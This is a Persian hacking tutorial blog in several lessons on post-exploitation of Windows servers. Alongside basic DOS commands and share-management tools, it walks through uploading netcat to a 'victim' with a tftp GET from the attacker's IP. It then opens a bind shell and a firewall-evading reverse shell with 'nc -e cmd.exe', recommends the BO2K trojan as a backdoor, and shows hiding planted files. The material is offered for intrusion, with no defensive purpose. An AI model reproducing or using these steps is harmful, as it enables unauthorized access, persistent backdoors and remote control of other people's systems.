wE FILE_WRITE_EA
fx FILE_EXECUTE
ج- ابزارهاي کار با share ها :

۱۳- rmtshare :
فرض کنيد که يک session از netbios با اکانتي با سطح Admin ايجاد کرده‌ايم. در اين حالت به کمک اين ابزار مي‌تونيم به صورت remote مجموعه share ها رو روي سيستم قرباني کنترل کنيم. مثلا يک share اضافه کنيم يا يک share رو پاک کنيم. مثلا اگه بخوام در کامپيوتر قرباني، فولدر c:\info رو واسه اکانتي به اسم guest به صورت فقط خواندني ( يعني فقط Read ) بيام و share کنم و اين share به اسم mydata باشه، بايد بنويسم:
rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:read
اگه مي‌خواستم به‌جاي فقط خواندني، اجازه تغيير هم صادر کنم، بجاي read مي‌شد: Change حالا مي‌خوام همين share رو پاک کنم. مي‌نويسم:
rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE
۱۴- netwatch :
يک ابزار گرافيکي است که کار با share ها و مديريت اون‌ها رو راحت مي‌کنه. خيلي کار باهاش ساده‌است و نيازي به توضيح نداره.

۱۵- netcmd :
فرض کنيد که شما الان يک netbios session با قرباني تشکيل داده‌ايد. اگه يادتون باشه مي‌تونستيم به کمک net use يک رايو مجازي براي کار با اون ايجاد کنيم. همين کار رو ميشه با اين ابزار انجام داد. مثلا اگه اسم share باشه: Araz مي‌نويسيم:
netcmd \\xxx.xxx.xxx.xxx\Araz
۱۶- srvcheck :
اين ابزار به ما کمک مي‌کند که ببينيم که روي سرور چه share هايي هست و چه کساني به اون دسترسي دارند. کاربرد دستور و تفسير نتايج بسيار ساده است، مي‌نويسيم:
srvcheck \\xxx.xxx.xxx.xxx
دقت کنيد که به‌صورت remote کار مي‌کنيم و نياز به يک netbios session داريم.

چ- ساير ابزارهاي مهم :

در درس بعدي بررسي خواهد شد. ضمنا sc هم به صورت مفصل‌تر بحث خواهد شد.

 
comment نظرات ()
 
 
قسمت سیزدهم(ضروريات ويندوز سرور براي هکرها - قسمت دوم )
نویسنده : Hossein - ساعت ۱:٢٧ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 

- يادآوري

اين مقاله ادامه مقاله قبلي‌ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه‌اي که هست نداريم.


- اولين کار بعد از بدست‌آوردن shell چيست؟

اولين کاري که بعد از بدست‌آوردن shell ويندوز انجام ميشه، بستگي به هکر و روش اون داره. من هميشه سعي مي‌کنم که يک تروجان يا backdoor در کامپيوتر قرباني نصب کنم و معمولا هم nc رو به کار مي‌برم.
اگر توجه کنيد مي‌بينيد که وقتي يه backdoor در کامپيوتر قرباني ايجاد مي‌کنيم، اين backdoor هم يک shell در اختيار ما قرار مي‌ده، پس چه لزومي وجود داره که وقتي shell داريم، يک shell جديد به کمک nc ايجاد کنيم؟
دليلش سه تاست:
۱- گاهي ما به يک shell در کامپيوتر قرباني دست پيدا مي‌کنيم که interactive يا تعاملي نيست. يه مثال مي‌گم که بفهميد منظور از تعاملي بودن چيه! اگه يادتون باشه در درس قبلي به کمک دستور cmd يک shell در کامپيوتر خودمون باز کرديم. اين shell يک شل تعاملي است. در اين شل مثلا وقتي از دستور copy con استفاده کردم، شل به من اجازه داد که بعد از زدن دکمه Enter بقيه کارها رو انجام بدم ( مثلا متني که قراره داخل فايل تايپ کنم رو بنويسم و فايل رو save کنم ). در حاليکه در موارد غيرتعاملي، وقتي دستور copy con رو بنويسم،‌ديگه نمي‌تونم با shell تعامل داشته باشم و کار رو ادامه بدم. وقتي شل غيرتعاملي است، هر کاري رو بايد با يک دستور يک سطري انجام بدم. اگه يادتون باشه در درس قبلي دستور echo رو گفتم که خروجي‌شو به يک فايل منتقل مي‌کرديم و در واقع باهاش فايل متني مي‌ساختيم، در شل‌هاي غيرتعاملي اين دستور قابل استفاده است زيرا بعد از اجراي دستور هيچ تعاملي با ما ندارد! اونايي که مثلا با Unicode bug آشنا هستند، مي‌دانند که shell ي که به کمک اون بدست مياد، يک shell non-interactive يا شل غيرتعاملي است و بهتر است به شل تعاملي تبديل شود. وقتي ما مثلا nc را به سرور مي‌فرستيم و اجرا مي‌کنيم، مي‌تونيم با شل اون که يک شل تعاملي است راحت‌تر کار کنيم. کارهاي ادامه‌دار فقط توسط يک shell تعاملي قابل اجرا خواهد بود.
۲- وقتي ما يک shell روي کامپيوتر قرباني بدست مي‌آوريم معمولا اين کار رو بدليل exploit کردن يک حفره‌امنيتي در سرور کسب کرده‌ايم. اگر روزي اين مشکل امنيتي توسط مسوول اون کامپيوتر رفع بشه، ما شل رو از دست خواهيم داد و در اين مواقع، داشتن يک شل nc برگ برنده هکر خواهد بود.
۳- بعضي تروجان‌ها وقتي در کامپيوتر قرباني نصب بشوند، چيزي بيشتر از يک شل در اختيار هکر مي‌گذارند. مثلا ممکنه هکر بتونه به صورت remote دسکتاپ سرور قرباني رو ببينه و کارهايي که مي‌خواد رو طوري انجام بده که گويا به صورت local به کامپيوتر قرباني دسترسي داره و جلوي مونيتور نشسته و ا داره کرم‌شو می‌ريزه! به اين قبيل نرم‌افزارها، نرم‌افزارهاي remote control مي‌گن. معروف‌ترين remote control ها عبارتند از: PcAnyWhere ،VNC ،NetBus ،BO2K و...


- چگونه trojan رو به کامپيوتر هدف ارسال کنم؟

من در اين درس مي‌خوام nc رو به کامپيوتر قرباني بفرستم. براي اين‌کار راحت‌ترين روش استفاده از برنامه‌اي به نام tftp است که بصورت پيش‌فرض در زيرشاخه System32 از شاخه %SyestemRoot% وجود داره. همان‌طور که از اسم اين نرم‌افزار بر مياد، کارش انتقال فايل از طريق شبکه است. اما تفاوت‌هايي با اون ftp که قبلا باهاش کار کرديم، داره:
۱- براي استفاده از اون بعد از دست‌يابي به شل ويندوز نيازي به username و password نيست.
۲- کلاينت ftp حالت تعاملي دارد ولي tftp غير تعاملي است. و با توجه به اينکه ما هنوز nc رو منتقل و اجرا نکرديم، پس اگر شلي که بدست آورديم غيرتعاملي باشه، نمي‌توان از ftp استفاده کرد.

حالا چطوري از tftp استفاده کنيم؟
اولين کار اينه که شما بايد يک سرور tftp روي کامپيوتر خودتون اجرا کنيد. سرورهاي مختلفي وجود داره ولي معروف‌ترين آنها،‌ Tftpd32 است. براي داون‌لود اون مي‌تونيد به اين صفحه مراجعه کنيد. جديدترين ورژن اين نرم‌افزار ورژن 2.6 است که مي‌تونيد با کليک روي اين لينک داون‌لود کنيد. حالا فايل رو از حالت zip خارج کرده و روي فايل tftp32.exe دابل‌کليک مي‌کنيد تا پنجره نرم‌افزار باز بشه که شکلي شبيه به اين داره:



فرض کنيد که فايل nc.exe در فولدري به اسم far30 در درايو D قرار دارد. اول روي دکمه Settings کليک کرده و در پنجره‌اي که باز مي‌شود، Base Directory رو به کمک دکمه Browse روي فولدر far30 از درايو D تنظيم مي‌کنيم و دکمه OK را کليک مي‌کنيم. حالا در پنجره اصلي نرم‌افزار هم در قسمت Current Directory روي دکمه Browse کليک کرده و همون d:\far30 رو ست مي‌کنيم. حالا کامپيوتر ما آماده ارائه فايل nc.exe است که در فولدر far30 قرار دارد. مرحله بعدي اجراي دستور tftp در کامپيوتر قرباني است. فرض کنيد که ip ما در اين لحظه 217.66.198.116 است. دستور رو به صورت زير در Shell ي که بدست آورديم،‌ اجرا مي‌کنيم:
tftp -i 217.66.198.116 GET nc.exe
و جواب مي‌شنويم:
Transfer successful: 59392 bytes in 1 second, 59392 bytes/s
دقت کنيد که در دستور tftp سويچ i- يعني اينکه انتقال به صورت باينري ( و نه اسکي ) باشد. ip ذکر شده، ip خودمان است و کلمه GET يعني سرور ( که دستور tftp رو اجرا مي‌کند) فايل رو بگيرد. اگه مي‌نوشتيم، PUT معني مي‌داد که سرور قرباني، فايل را براي ما بفرستد. دقت کنيد که برنامه tftpd32 رو روي کامپيوتر خودمان و برنامه tftp رو روي کامپيوتر قرباني اجرا کرديم. حالا که فايل nc.exe منتقل شد، مي‌تونيم ازش استفاده کنيم.


- نرم‌افزار nc به کامپيوتر قرباني فرستاده شد. چطوري به عنوان يک trojan از آن استفاده کنيم؟

اگه يادتون باشه، تو يکي از درس‌ها گفتم که مهم‌ترين ابزاري که يه هکر در طول زندگيش! ازش استفاده مي‌کنه، netcat يا همون nc است. و گفتم که يکي از دلايل اون توانايي اين نرم‌افزار براي کار هم به صورت کلاينت و هم به صورت سرور است. حالا مي‌خوام به صورت passive از اين نرم‌افزار استفاده کنم. به اين دليل passive مي‌گم که طوري اونو اجرا مي‌کنم که در کامپيوتر قرباني، روي يک پورت خاص و دلخواه فالگوش بمونه. در حالي که من هر وقت خواستم به اون کانکت مي‌شم. يک پورت دلخواه انتخاب کنيد ( البته نبايد پورتي رو که در حال حاضر روي کامپيوتر قرباني باز است، باشد) مثلا من ۲۲ رو انتخاب مي‌کنم. در shell کامپيوتر قرباني دستور زير رو اجرا مي‌کنم:
nc -l -p 22 -e cmd.exe
اين يعني در پورت ۲۲ فالگوش بمونه و نيز cmd رو هم اجرا کنه که من يک shell بدست بيارم. حالا اگه ip کامپيوتر قرباني مثلا 63.148.112.65 باشه، در کامپيوتر خودم اين دستور رو اجرا مي‌کنم:
nc 63.148.112.65 22
خوب اگه به شل رسيدم که حال مي‌کنم!! ولي بعضي مواقع پيش مياد که عليرغم طي همه اين موارد نمي‌تونم به شل جديد دست پيدا کنم که دليلش هم معمولا اينه که اون سرور توسط فايروالي بلاک شده که اجازه نميده با پورتي که مشخص کردم بهش کانکت بشم. در آخر مقاله بهتون مي‌گم که در اين مواقع چکار بايد بکنيد. نکته بعدي اينه که اين شل تا زماني فعال خواهد بود که کامپيوتر قرباني restart نشه. و چون کامپيوتر‌هاي سرور دير به دير restart مي‌شوند، اين شل براي مدت نسبتا طولاني در دسترس من خواهد بود. اگه بخواين هر بار که کامپيوتر restart ميشه،‌ دوباره شل ايجاد بشه، از روش‌هايي که در درس مربوط به پورت 139 گفتم، استفاده کنيد.


- آيا مي‌تونم از تروجان‌هاي ديگري بجز nc استفاده کنم؟

مسلما !
۱- تروجاني به نام ncx99 يا ncx وجود داره که يه شل در پورت ۹۹ سرور قرباني باز مي‌کنه ولي چون کارش مثل nc است، توضيح بيشتري نمي‌دم.
۲- اگه مي‌خواين به جاي nc، يک remote control software روي کامپيوتر قرباني اجرا کنيد، توصيه من استفاده از BO2K است.  کار کردن با BO2K تقريبا مثل sub7 ه ولي مثل sub7 نرم‌افزار لوسي نيست! در BO2K فايل کلاينت که خودتون اجرا مي‌کنيد، bo2kgui.exe نام دارد و فايلي که با توجه به نيازهاي شما سرور براي کامپيوتر قرباني مي‌سازد،‌ bo2kcfg.exe است. بعد از اينکه سرور ساخته شد که bo2k.exe نام دارد، اونو واسه کامپيوتر قرباني مي‌فرستيد و همونجا اجرا مي‌کنيد. حالا يه remote control روي سرور داريد :)
۳- و ...


- nc روي کامپيوتر قرباني اجرا شده. چرا نمي‌تونم به اون کانکت بشم؟

اين موضوع مي‌تونه دلايل مختلفي داشته باشه ولي معمولا دليلش اينه که يک فايروال قبل از سرور قرار داره که نمي‌ذاره به nc کانکت بشين. اين حالت معمولا موقعي پيش مياد که nc رو به صورت passive يعني فالگوش ( مثل موردي که توضيح دادم ) رو سرور نصب کرده باشين. چون شما مي‌خواهيد به اون کانکت بشويد ( چون شما کلاينت هستين و اون سرور )،‌ فايروال اين اجازه رو نمي‌ده. در اين حالت اگر وضع رو برعکس کنيم و nc رو طوري تنظيم کنيم که اون به ما کانکت بشه،‌معمولا مشکل حل ميشه. يعني بايد بجاي روش passive ، از روش active استفاده کنيم. در اين حالت در کاميوتر خودمون دستور زير اجرا مي‌کنيم:
nc -l -p 22
و اگر ip ما 217.66.198.116 باشه، در کامپيوتر قرباني،‌اينو:
nc 217.66.198.116  22 -e cmd.exe
حالا اون به ما کانکت ميشه و معمولا فايروال کاري به کارش نداره! دقت کنيد هميشه اول دستوري رو اجرا مي‌کنيم که نقش سرور رو داره يعني اوني که داراي سويچ l- است. چه active باشه و چه passive، فرقي نداره. حالا ما يک interactive shell داريم که خيلي بدرد مي‌خوره.


 
comment نظرات ()
 
 
قسمت دوازدهم(ضروريات ويندوز سرور براي هکرها - قسمت اول )
نویسنده : Hossein - ساعت ۱:۱٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- اين سري درس‌ها (ضروريات ويندوز سرور) به چه دردي مي‌خورند؟

تجربه بهم ثابت کرده که خيلي از افرادي که ويندوز سرور هک مي‌کنند، بعد از اينکه به shell دست مي‌يابند، نمي‌دونند که بعدش دنبال چي باشند. حتي بعضي‌ها بعد از اينکه به کمک يک نرم‌افزار آماده اين کار رو انجام مي‌دهند، حتي نمي‌تونند از دستورات خط فرماني ويندوز استفاده کنند. اين درس راجع به همين‌ها بحث مي‌کنه، يعني اينکه من فرض مي‌کنم که شما به shell ويندوز دست پيدا کرديد، حالا چطوري باهاش کار کنيد و سطح اختيارات خود رو بالاتر ببريد.
شايد از من بپرسيد که من هنوز راجع به اينکه چطوري به shell دست پيدا کنيم، مقاله‌اي ارائه نکردم، پس اين درس به چه دردي مي‌خوره؟ جواب اينه که اين درس پيش‌نياز درس‌هاي بعدي خواهد بود. اگر شما سيستم‌عامل ويندوز ۲۰۰۰ يا xp داريد، اکثر مطالب اين مقاله رو مي‌تونيد روي کامپيوتر خودتون تست کنيد. اگه مي‌خواين shell ويندوز رو در کامپيوتر خودتون بياريد، دکمه Start رو کليک کرده گزينه Run را فشار دهيد و اونجا بنويسيد: cmd که مخفف command prompt است.
نکته بعدي اينکه فرض کنيد که شما به يک کامپيوتر و shell اون دسترسي پيدا کرديد ولي مي‌خواهيد که بدونيد که در شبکه‌اي که اين کامپيوتر قرار داره چه کامپيوترهاي ديگه‌اي هست و وظايف اونا چيه و يا چطوري مي‌شه از طريق اين کامپيوتر به اونا دست‌رسي پيدا کرد. اين موضوع مربوط به مقاله‌اي به نام (هک کردن شبکه‌اي از ويندوز سرورها) است که اگه عمري باشه، بعدها توضيح مي‌دم.
پس اين مقاله به شما ميگه که وقتي به shell ويندوز در يک کامپيوتر رسيديد، چه کارهاي ديگه‌اي در همون کامپيوتر مي‌تونيد انجام بديد!
اين سري درس‌ها رو از سطح مبتدي تا پيشرفته براتون مي‌گم. بنابراين ممکنه بعضي درس‌ها به‌دردتون نخوره...
مطلب آخر اينه که من متخصص ويندوز سرور نيستم! پس اگه ايرادي در اين مقاله مي‌بينيد، حتما برام پيغام بذاريد :)


- تقسيم‌بندي انواع سيستم‌عامل‌هاي ويندوز

همان‌طور که مي‌دونيد ويندوز انواع مختلفي داره که ميشه همه رو تو دو گروه تقسيم‌بندي کرد:
۱- ويندوز‌هاي desktop يا ويندوزهاي dos family که عبارتند از: ويندوزهاي قديمي ( تا سري 3.1 )، ويندوز ۹۵، ويندوز ۹۸ و ويندوز Me
۲- ويندوزهاي nt يا ويندوز‌هاي server که عبارتند از: ويندوزهاي nt ورژن 3.0 و 4.0 ، ويندوز 2000 ( ويندوز nt ورژن 5.0 )، ويندوز XP و ويندوز NET Server 2003.
بحث ما راجع به سري دوم ويندوزهاست.


- دستورات کار با فايل‌ها و فولدرها

اين دستورات همون‌هايي هستند که در سيستم‌عامل باستاني!! مايکروسافت يعني MS DOS استفاده مي‌شدند. کاربران ويندوز معمولا نيازي به يادگيري اونا احساس نمي‌کنند چون همه کارها رو در محيط گرافيکي و معمولا از طريق ماوس انجام مي‌دهند. ولي چون shell حالت متني دارد، شما بايد با اين دستورات آشنا بشويد. shell رو باز کنيد. متن زير ظاهر ميشه:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

I:\>
دقت کنيد که سيستم‌عاملي که من shell رو در اون آوردم، ويندوز ۲۰۰۰ است و درايو پيش‌فرض من که معمولا همان درايوي است که ويندوز در اون نصب شده، درايو I است. شما مسلما چيز متفاوتي خواهيد ديد. مي‌نويسم:
I:\> C:
تا به درايو C وارد بشم. حالا prompt تغيير مي‌کنه و نشون ميده که الان در درايو C هستم:
C:\> 
مي‌نويسم:
C:\> dir
و ليست زير ظاهر ميشه:
 Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6

Directory of C:\

09/06/2003 06:29a <DIR> GAMES
08/15/2003 06:20p 1,806,727 phpMyAdmin-2.5.3-rc1-php.zip
06/17/2002 07:06p <DIR> upload
06/19/2002 07:02p <DIR> mailserver
09/13/2002 03:59a 8,053 port-tcp-c.c
02/27/2003 10:28p <DIR> mp3
04/18/2003 07:38a 1,152 araz.pl
3 File(s) 1,815,932 bytes
4 Dir(s) 95,502,336 bytes free
اينها در واقع ليست فايل‌ها و دايرکتوري‌هاي موجود در درايو C کامپيوتر من است. مثلا اينجا GAMES يک فولدر ( دايرکتوري) است چون در در اون سطر کلمه <DIR> اومده که معني دايرکتوري ميده. ولي araz.pl که آخرين سطر از ليست‌ه،‌ فايل‌ه. حالا مي‌نويسم:
C:\> cd games
و جواب مي‌شنوم:
C:\GAMES>
يعني وارد فولدري بع اسم games شده‌ام. بازم دستور dir رو مي‌نويسم که ببينم در اين فولدر چه فايل يا فولدرهايي هست و جواب مي‌شنوم:
 Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6

Directory of C:\GAMES

09/06/2003 06:29a <DIR> .
09/06/2003 06:29a <DIR> ..
09/06/2003 06:29a <DIR> FORMULA1
09/06/2003 06:35a <DIR> SP
09/06/2003 06:36a <DIR> SUPER
09/06/2003 06:39a <DIR> UF
0 File(s) 0 bytes
6 Dir(s) 95,502,336 bytes free
که مي‌گه ۶ دايرکتوري وجود داره. دوتاي اولي دايرکتوري‌هاي واقعي نيستند،‌ چون اگه بنويسم:
C:\GAMES> cd .
جواب مي‌گيرم:
C:\GAMES>
يعني هيچ اتفاقي نيفتاد. و اگه بنويسم:
C:\GAMES> cd ..
جواب مي‌شنوم:
C:\>
يعني يه فولدر به عقب برگشتم و اومدم به همون ريشه درايو C که قبلا بودم. پس الان در درايو C هستم و چون قبلا ديده‌ام که فايلي به اسم araz.pl در اون هست مي‌خوام محتويات اين فايل متني رو ببينم. مي‌نويسم:
C:\> type araz.pl
و جواب مي‌شنوم:
#!/usr/bin/perl
print "Content-type: text/html\n\n";

use Socket;
my ($remote, $port, @thataddr, $that, $them, $proto, $getpage );

$remote = shift || 'www.securitytracker.com';
$port = 80;
@thataddr=gethostbyname($remote) or die "Not Connected";

$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]);
$proto=getprotobyname('tcp');

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!;
connect(SOCK, $that) or die $!;
........
اين محتويات فايل araz.pl است. مي‌خوام يک متني فايل جديد بسازم، که محتوياتش فقط يک سطر باشه مثلا salam bar to و نامش هم باشه ali1000.txt براي اين‌کار چند راه وجود داره که دو تاشو مي‌گم:
۱- مي‌تونيد بنويسيد:
C:\> echo salam bar to > ali1000.txt
۲- و مي‌تونيد بنويسيد:
C:\> copy con ali1000.txt
و enter زده و جمله!! salam bar to را اونجا تايپ کنيد و وقتي تمام شد، ترکيب: CTRL + Z رو فشار بديد که فايل تموم بشه.
در هر دو حالت چون ما در درايو C و در ريشه ( يعني نه در يک فولدر خاص ) بوديم، فايل همين‌جا درست ميشه و اگه دستور dir رو اجرا کنيد،‌مي‌بينيد که يک فايل جديد به ليست اضافه شده. حالا مي‌تونيد با دستور:
C:\> type ali1000.txt
محتويات فايل رو ببينيد، اگرچه الانش‌هم مي‌دونيد چي هست! مي‌خواهيم يک فولدر جديد به اسم tur2 بسازيم. مي‌نويسيم:
C:\> md tur2
حالا اگر dir رو بنويسم، مي‌بينم که فولدر جديد ايجاد شده. حالا مي‌خوام برم تو فولدري که ساختم. مي‌نويسم:
C:\> cd tur2
و بعد dir مي‌گيرم. مي‌بينم فعلا فقط همان دو فولدر . و .. در اينجا وجود داره که قبلا گفتم چي‌ هستند. اگه بخوام يه فولدر جديد در داخل اين فولدر tur2 به اسم far30 بسازم،‌ مي‌نويسم:
C:\tur2> md far30
و اگر dir بگيرم، مي‌بينم اينها وجود دارند:
 Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6

Directory of C:\tur2

10/04/2003 07:17p <DIR> .
10/04/2003 07:17p <DIR> ..
10/04/2003 07:18p <DIR> far30
0 File(s) 0 bytes
3 Dir(s) 95,477,760 bytes free
يعني فولدر far30 هم اضافه شده. مي‌خوام فايل ali1000.txt رو از ريشه به فولدر far30 که خودش در فولدر tur2 است، کپي کنم. مي‌نويسم:
C:\tur2> copy c:\ali1000.txt c:\tur2\far30
ساختارش خيلي ساده است، حتما فهميدين که اول دستور copy رو مي‌نويسم. بعد با يک فاصله، مسير و نام فايلي که مي‌خوام کپي کنم رو مي‌نويسم و در آخر با يک فاصله، مسيري که مي‌خوام فايل کپي بشه رو مي‌نويسم. دقت کنيد که فايل اصلي دست نخورده باقي مي‌مونه و يک کپي جديد در مسير جديد ايجاد ميشه. مي‌تونستم همين فايل رو به درايو D کپي کنيم که در اين حالت بايد بنويسم:
C:\tur2> copy c:\ali1000.txt d:
که فايل به درايو D کپي بشه. حالا يه دستور جديد، مي‌خوام فايل ali1000.txt رو از درايو C پاک کنم، مي‌نويسم:
C:\tur2> del c:\ali1000.txt
دقت کنيد که چون من الان در فولدر tur2 هستم ولي فايلي که قراره پاک کنم در ريشه است، مسير رو بايد بنويسم، ولي اگر فايل همون‌جايي که من الان هستم بود، مي‌نوشتم:
C:\> del ali1000.txt
نکته مهم اينه که وقتي روي کامپيوتر خودم shell رو باز کردم، مي‌تونم ببينم که کجا قرار دارم ( با نگاه به پرامت که مثلا اينجا <c:\tur2 بود‌) ولي در shell ي که موقع هک کردن به اون مي‌رسيم، معمولا اين پرامت ظاهر نميشه. اونجا چطوري ميشه فهميد کجا هستم؟ خيلي ساده‌است با دستور زير:
cd
که جواب ميده:
c:\tur2
چون قبلا فايل ali1000.txt رو به فولدر far30 موجود در فولدر tur2 موجود در درايو C کپي کردم، مي‌رم همونجا مي‌نويسم:
C:\> cd c:\tur2\far30
اگه dir بگيرم، اينو مي‌بينم:
 Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6

Directory of C:\tur2\far30

10/04/2003 07:18p <DIR> .
10/04/2003 07:18p <DIR> ..
10/04/2003 07:08p 15 ali1000.txt
1 File(s) 15 bytes
2 Dir(s) 95,477,760 bytes free
اگه بخوام اين فايل رو منتقل کنم به فولدر tur2 از درايو C (يعني به يه فولدر پايين تر) از دستور زير استفاده مي‌کنم:
C:\tur2\far30> move ali1000.txt c:\tur2
فرق دستور move با copy اينه که فايل اصلي منتقل ميشه نه کپي! يعني از محل قبلي پاک ميشه و به محل جديد مياد!! حالا که فولدر far30 حالي شده (يعني هيچ فايل يا فولدري در اون نيست) مي‌تونم پاکش کنم. اول ميام يه فولدر پايين‌تر، با دستور:
C:\tur2\far30> cd ..
و با دستور جديد زير که مخصوص پاک کردن فولدر ( نه فايل ) است، فولدر far30 رو پاک مي‌کنم:
C:\tur2> rd far30
و فولدر پاک ميشه. حالا مي‌خوام اسم فايل ali1000.txt رو به araz.inc تغيير بدم، مي‌نويسم:
C:\tur2> ren ali1000.txt araz.inc 
يه dir بيريد که مطمئن بشين!! حالا مي‌خوام يه کپي از اين فايل که اسمش هست araz.inc بگيرم ولي با اسم ali1000.inc و در همين فولدر. پس مي‌نويسم:
C:\tur2> copy araz.inc ali1000.inc
حالا اگه dir بگيريد، ۲ تا فايل مي‌بينيد. حالا مي‌خوام هر دو تا فايل رو منتقل کنم به درايو C ولي به ريشه، مي‌بينم که هر دو فايل حرف اولشون a است و پسوندشون inc مي‌تونم به دو شکل بنويسم:
C:\tur2> move a*.inc c:\
ولي چون فقط همين دوتا فايل در اين فولدر بود، مي‌تونستم بنويسم:
C:\tur2> move *.* c:\
گرفتين چي شد؟ حالا يه جديد مي‌خوام برم به فولدر و درايوي که فولدر ويندوز باشه. مي‌تونم يکي يکي درايو ها رو برم و از همه dir بگيرم تا برسم به اوني که درايو winnt داره، ولي چون اين کامپيوتر خودمه و مي‌دونم که فولدر ويندوز من کجاست!! مي‌نويسم:
C:\tur2> I:
و بعد
I:\> cd winnt
و يک dir مي‌گيرم. مي‌بينم که لسيتي از فايل‌ها و فولدرهاي زيادي از جلو چشم رد ميشه ولي نمي‌تونم همه رو ببينم. اگه بخوام صفحه به صفحه ببينم، مي‌نويسم:
I:\winnt> dir /p
که اين سويچ p مخفف page است. اگه بخواين ليست همه سويچ‌ها رو ببينيد،‌ مي‌تونيد بنويسيد:
I:\winnt> dir /?
حالا يه چيز جالب! با دستورات زير اول برگرديم به ريشه درايو I و بعد برگرديم درايو C :
I:\winnt> cd ..
I:\> C:
حالا مي‌خوام مستقيما از درايو C محتويات فولدر winnt از درايو I رو اون‌هم به صورت صفحه به صفحه بخونم:
C:\> dir i:\winnt /p
حالا يه چيز بسيار مهم، مي‌خوام بدون دادن مسير! ليست فايل‌ها رو در فولدر مربوط به ويندوز ببينم:
C:\> dir %SystemRoot%
اينه... !!! پس در Shell کلمه %SystemRoot% يعني فولدر ويندوز. يه سويچ جديد براي دستور dir رو مي‌خوام بگم. فرض کنيد که من يادم رفته فايل اجرايي cmd.exe در کدام فولدر از درايو I ( که در کامپيوتر من فولدر مربوط به ويندوز هست ) قرار داره. چون نمي‌تونم برم تک تک فولدر‌ها رو ببينم، بايد از سويچي استفاده کنم که وقتي يه مسير بهش مي‌دم، بره و تمام سوراخ سنبه‌هاي اون فولدر ( يعني همام فولدرهاي داخلي‌تر ) رو هم ببينيه. از سويچ s استفاده مي‌کنم و مي‌نويسم:
C:\> dir i:\cmd.exe /s
و جواب مي‌شنوم:
 Volume in drive I has no label.
Volume Serial Number is DC24-A09D

Directory of i:\WINNT\system32

12/07/1999 04:00a 236,304 cmd.exe
1 File(s) 236,304 bytes

Directory of i:\WINNT\system32\dllcache

12/07/1999 04:00a 236,304 cmd.exe
1 File(s) 236,304 bytes

Total Files Listed:
2 File(s) 472,608 bytes
0 Dir(s) 1,255,153,664 bytes free
پس اين دستور توانست فايل مربوطه رو در دو تا فولدر پيدا کنه، يعني اينا:
i:\WINNT\system32
i:\WINNT\system32\dllcache
اين cmd.exe همونه که ما در run نوشتيم که shell ويندوز اومد. حالا برمي‌گردم به درايو C ( دستورش که يادتون هست! ) و dir مي‌گيرم و مي‌بينم که فايل ali1000.inc هنوز هم اونجا هست. مي‌خوام يه دستور جديد رو بگم. ببينيد گاهي پيش مياد که ما فايلي رو به يک سرور مي‌فرستيم ولي مي‌خوايم به صورت مخفي يا hidden باشه. دستوري که فايل ali1000.inc رو مخفي مي‌کنه، اينه:
C:\> attrib +h ali1000.inc
حالا اگه dir بگيرم، ديگه فايل ali1000.inc رو نمي‌بينم. البته هنوز هم هست!! اگه بخوام به کمک دستور dir فايل‌هاي مخفي رو ( از جمله ali1000.inc ) ببينم، از سويچ a استفاده مي‌کنيم:
C:\> dir ali1000.inc /a
حالا مي‌خوام فايل رو از حالت مخفي در بيارم، مي‌نويسم:
C:\> attrib -h ali1000.inc
به همين راحتي!
اينا دستورات معمولي dos بود که براتون نوشتم. اين دستورات خيلي زياد هستند و من فقط تعداد کمي‌شو براتون گفتم. اگه کتاب داس تو انباري خونتون پيدا کردين، مي‌تونين دستورات بيشتري ياد بگيريد!!!


- پسوند فايل‌ها و مفاهيم آنها در ويندوز

در سيستم‌عامل ويندوز پسوندها مفاهيم خاصي دارند.

۱- فايل‌هاي اجرايي پسوند exe يا com يا bat دارند. ( فايل‌هاي با پسوند bat رو batch file مي‌گن که مجموعه‌اي از دستورات داس رو مي‌تونني توش بنويسين که به ترتيب اجرا بشوند پس مي‌تونين به کمک دستور type محتوياتشو ببينيد). ولي فايل‌هاي exe و com فايل‌هاي اجرايي هستند که محتوياتش براتون قابل خوندن نيست ولي قابل اجراست. حالا مي‌خوام يه فايل اجرايي رو براتون بيارم که ببينيد که در shell چطوري مي‌تونيد فايل اجرايي رو اجرا کنيد! مي‌خوام فايل tftp.exe رو اجرا کنم. اول يه dir مي‌گيرم از فولدر %SyestemRoot% و مي‌بينم که اين فايل در فولدر i:\winnt\system32 قرار داره. حالا مي‌خوام اجراش کنم. به دو طريق مي‌تونم اين کارو انجام بدم، اولي اينکه برم تو فولدر winnt\system32 و بعد بنويسم:
I:\WINNT\system32> tftp.exe
يا اينکه مستقيما از هرجايي که باشم، بنويسم:
C:\> i:\winnt\system32\tftp.exe
و جواب بشنوم:
Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
پس چون پسوند فايل من exe بود فهميدم که با نوشتن اسم اون مي‌تونم اجراش کنم. اگه يادتون باشه واسه ابزارهاي خط‌فرماني مثل nc هم، همين کارو مي‌کرديم.

۲- فايل‌هاي استاندارد:
